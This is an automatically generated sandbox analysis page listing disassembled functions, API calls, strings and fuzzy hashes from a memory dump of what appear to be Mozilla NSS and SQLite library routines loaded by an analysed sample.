Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 98ddfc638897de6a3a709498bf552ace727ecb38a0645001104bef9582efdc30
Instruction ID: d7ccea972ca100d8b11cf92dc69c6f2184a2652b6f95b7adf7b779080a6927a3
Opcode Fuzzy Hash: 98ddfc638897de6a3a709498bf552ace727ecb38a0645001104bef9582efdc30
Instruction Fuzzy Hash: 830213A2E0CBC85EF7358671C44C3D76EE8974632CF0C166ED5EE46683C3B8959A8391

Function 6C9F6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C9A1C6F,00000000,00000004,?,?), ref: 6C9F6C3F

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C9A1C6F,00000000,00000004,?,?), ref: 6C9F6C60
PR_ExplodeTime.NSS3(00000000,6C9A1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C9A1C6F,00000000,00000004,?,?), ref: 6C9F6C94

Strings

gfff, xrefs: 6C9F6D9C
gfff, xrefs: 6C9F6CF5
gfff, xrefs: 6C9F6CFD
gfff, xrefs: 6C9F6D30
gfff, xrefs: 6C9F6D66

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: c6cfab8706e64396052764a6115eb04683edef871795c5230b84059bc9291418
Instruction ID: 0b50bd8f1e0b76f55d78922c1b0e8df1ebed5bb06ed797431686596a32c6d212
Opcode Fuzzy Hash: c6cfab8706e64396052764a6115eb04683edef871795c5230b84059bc9291418
Instruction Fuzzy Hash: BD514B72B016494FC70CCDADDC626DABBDAABA4310F48C23AE442DB781D678D907C751

Function 6CA70F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CA71027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA710B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA71353

Strings

%lld, xrefs: 6CA7114B
-- , xrefs: 6CA70FF5
zeroblob(%d), xrefs: 6CA71223
$, xrefs: 6CA712A0
%02x, xrefs: 6CA712F6
'%.*q', xrefs: 6CA71217, 6CA71292
NULL, xrefs: 6CA7119E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 32bf21e3ba6c62fb398b8859778dfa223ef5ece477b05456bdaf8be6ede8072b
Instruction ID: 246351e8775bfa5ad9bae4558890919850ec9845f119d2728f1507bdacc04708
Opcode Fuzzy Hash: 32bf21e3ba6c62fb398b8859778dfa223ef5ece477b05456bdaf8be6ede8072b
Instruction Fuzzy Hash: 58E1D5756083409FD724CF18C490A6BBBF1BF95348F08892DF69987B50E731E885CB92

Function 6CA78FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA78FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA790DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA79118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA7915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA791C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA79209

Strings

UUUU, xrefs: 6CA79255
3333, xrefs: 6CA7925E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 033a9a0380cfee9f4b7c765e04f188f865be031500602ccc8c8444159b819b08
Instruction ID: a18947a496a5bfdda851e0d3bc0045e3a25cb1822b3508e64f4f5f0fe9941620
Opcode Fuzzy Hash: 033a9a0380cfee9f4b7c765e04f188f865be031500602ccc8c8444159b819b08
Instruction Fuzzy Hash: D9A1BE76E001159BDB18CB68CD95BAEB7B5BF48324F0A4169E905B7341E736EC42CBE0

Function 6C930FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C92CA30: EnterCriticalSection.KERNEL32(?,?,?,6C98F9C9,?,6C98F4DA,6C98F9C9,?,?,6C95369A), ref: 6C92CA7A
Part of subcall function 6C92CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C92CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C93103E
EnterCriticalSection.KERNEL32(?), ref: 6C931139
LeaveCriticalSection.KERNEL32(?), ref: 6C931190
sqlite3_free.NSS3(00000000), ref: 6C931227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C93126E
sqlite3_free.NSS3(?), ref: 6C93127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6C931267
winAccess, xrefs: 6C93129B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: b247ddb2082faacd6708241fa5bdeb75fcba126f054c6657c503a9eeef63eb0e
Instruction ID: 5b19ba11b531474f2c30671f6fb584e3e208db996b4b7c1051d7784977adc48b
Opcode Fuzzy Hash: b247ddb2082faacd6708241fa5bdeb75fcba126f054c6657c503a9eeef63eb0e
Instruction Fuzzy Hash: AC714D357043219FEB089F64EC95BAA33B9FB57314F14522DF829876A0EB30D945CB92

Function 6C93AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31,?,?,?,?,?,?,?), ref: 6C93B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31), ref: 6C93B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31), ref: 6C93B0A2
CloseHandle.KERNEL32(?,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31,?,?,?,?,?,?,?,?,?), ref: 6C93B100
sqlite3_free.NSS3(?,?,00000002,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31,?,?,?,?,?,?,?), ref: 6C93B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CA5CF46,?,6C92CDBD,?,6CA5BF31), ref: 6C93B12D

Part of subcall function 6C929EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C93C6FD,?,?,?,?,6C98F965,00000000), ref: 6C929F0E
Part of subcall function 6C929EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C98F965,00000000), ref: 6C929F5D

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 169029e96d58ef51b0cde886aa8daab7f76e88b909f959376c0ba5afd6215a8d
Instruction ID: fd9d343cfa02a2a526a9f04a76b779e9c562c40ef1b552e9f2bb17daeb0c0cd7
Opcode Fuzzy Hash: 169029e96d58ef51b0cde886aa8daab7f76e88b909f959376c0ba5afd6215a8d
Instruction Fuzzy Hash: EE913FB0B006168FDB18CFA5DC80B6BB7B6FF55308F18562DE41A97A50EB34E894CB51

Function 6CA0BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CA0BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CA0BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CA0BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CA0BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CA0BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CA0BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CA0BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CA0BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CA0BE1E

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 56479b3e214a2522a87e7d17bbeeb462167ab753ccea24db9fed01bce8d4e5f0
Instruction ID: 942ad9238cc815ed2add7584c44dd15f581af251e388f58254cce5139b01b2df
Opcode Fuzzy Hash: 56479b3e214a2522a87e7d17bbeeb462167ab753ccea24db9fed01bce8d4e5f0
Instruction Fuzzy Hash: 3421F776F0068957FB004A93BE47F8B72749B91BCDF0C0224F926EE681F3509458C2A1

Function 6CAB8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CB014E4,6CA6CC70), ref: 6CAB8D47
PR_GetCurrentThread.NSS3 ref: 6CAB8D98

Part of subcall function 6C990F00: PR_GetPageSize.NSS3(6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F1B
Part of subcall function 6C990F00: PR_NewLogModule.NSS3(clock,6C990936,FFFFE8AE,?,6C9216B7,00000000,?,6C990936,00000000,?,6C92204A), ref: 6C990F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CAB8E7B
htons.WSOCK32(?), ref: 6CAB8EDB
PR_GetCurrentThread.NSS3 ref: 6CAB8F99
PR_GetCurrentThread.NSS3 ref: 6CAB910A

Strings

%u.%u.%u.%u, xrefs: 6CAB8E74

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 7ed28fd83699dfc1854b904f069e42ea06f17517fa8d35ca44ef84e424845ae1
Instruction ID: 797e9fd073aa2ba8f3ad7dfb1a5c10bfffb0302940664dd7f66bdbbfb59c0406
Opcode Fuzzy Hash: 7ed28fd83699dfc1854b904f069e42ea06f17517fa8d35ca44ef84e424845ae1
Instruction Fuzzy Hash: 8F02AD319062528FDB18CF2DC558366BBBBEF62304F1E825ED8956FA91C331D989C790

Function 6CA368E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CA368FC
PR_EnterMonitor.NSS3 ref: 6CA36924

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

PR_EnterMonitor.NSS3 ref: 6CA3693E
TlsGetValue.KERNEL32 ref: 6CA36977
TlsGetValue.KERNEL32 ref: 6CA369B8
PR_ExitMonitor.NSS3 ref: 6CA36B1E
PR_ExitMonitor.NSS3 ref: 6CA36B39
TlsGetValue.KERNEL32 ref: 6CA36B62

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 72a16d314a1a3624e64bf3746e302bd2e6c425fb79045d356dfd0c10443cd971
Instruction ID: 9f6c7fe51916be3b9ea256d2e389046acf45ed1abefcc10f603c0690f1b2f9ff
Opcode Fuzzy Hash: 72a16d314a1a3624e64bf3746e302bd2e6c425fb79045d356dfd0c10443cd971
Instruction Fuzzy Hash: 4A914D74698220CBDB50DF2DC8A055DBBA2FB87308B65E659C848CBB19D771D9C2CF81

Function 6C9C09A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9C06A0: TlsGetValue.KERNEL32 ref: 6C9C06C2
Part of subcall function 6C9C06A0: EnterCriticalSection.KERNEL32(?), ref: 6C9C06D6
Part of subcall function 6C9C06A0: PR_Unlock.NSS3 ref: 6C9C06EB

memcmp.VCRUNTIME140(00000000,6C9A9B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C09D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C09F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C0A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C0A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C9A9B8A,00000000,6C9A2D6B), ref: 6C9C0A48

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: ec184fe380e2159b072eff4395732186c2de5cc5005386ada614b262392c3728
Instruction ID: c44dfb85bf0546f4b289f79a48fd3ea8e9b9c6e64a4e18c8afa6dade3c00314d
Opcode Fuzzy Hash: ec184fe380e2159b072eff4395732186c2de5cc5005386ada614b262392c3728
Instruction Fuzzy Hash: A80200B2E002099FEB008F65DC41BAB77B9FF68318F041128E915A7B52E731E955CB93

Function 6CA79D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C938637,?,?), ref: 6CA79E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C938637), ref: 6CA79ED6

Strings

database corruption, xrefs: 6CA79ECA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA79EC0
%s at line %d of [%.10s], xrefs: 6CA79ECF

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d93a6333f548584e199e1c6079ccbe71968eea2aebfc107807d83bb4e36142c2
Instruction ID: d68dd197d6da8e3a68bb27ca86c344c49b47017f73979a3bc4ea578d14f45c7c
Opcode Fuzzy Hash: d93a6333f548584e199e1c6079ccbe71968eea2aebfc107807d83bb4e36142c2
Instruction Fuzzy Hash: EB818235B012158FDB14CF6ACA81ADEB3F6BF48304F19852AE815ABB41D731ED85CB60

Function 6CA4C9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CA4CEA5

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: db05580334cb4055d70d5648032d91a3456a5653154c38c83634a0139f4d029e
Instruction ID: 9c0fe5830601054a707c20b311a6fb14ee0777f1a2d6e8cde74fee22fde87c50
Opcode Fuzzy Hash: db05580334cb4055d70d5648032d91a3456a5653154c38c83634a0139f4d029e
Instruction Fuzzy Hash: 45716071A157018FC708CF29C484A2ABBF1FF89718F25CA2EE4A9877A1E730D955CB51

Function 6CA09EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CA09ED6

Part of subcall function 6CA014C0: TlsGetValue.KERNEL32 ref: 6CA014E0
Part of subcall function 6CA014C0: EnterCriticalSection.KERNEL32 ref: 6CA014F5
Part of subcall function 6CA014C0: PR_Unlock.NSS3 ref: 6CA0150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CA09EE4

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA09F38

Part of subcall function 6CA0D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CA09F0B), ref: 6CA0D03B
Part of subcall function 6CA0D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CA0D04E
Part of subcall function 6CA0D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CA0D07B
Part of subcall function 6CA0D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CA0D08E
Part of subcall function 6CA0D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CA0D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA09F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CA09F59

Part of subcall function 6CA09D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CA09C5B), ref: 6CA09D82
Part of subcall function 6CA09D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CA09C5B), ref: 6CA09DA9
Part of subcall function 6CA09D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CA09C5B), ref: 6CA09DCE
Part of subcall function 6CA09D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CA09C5B), ref: 6CA09E43

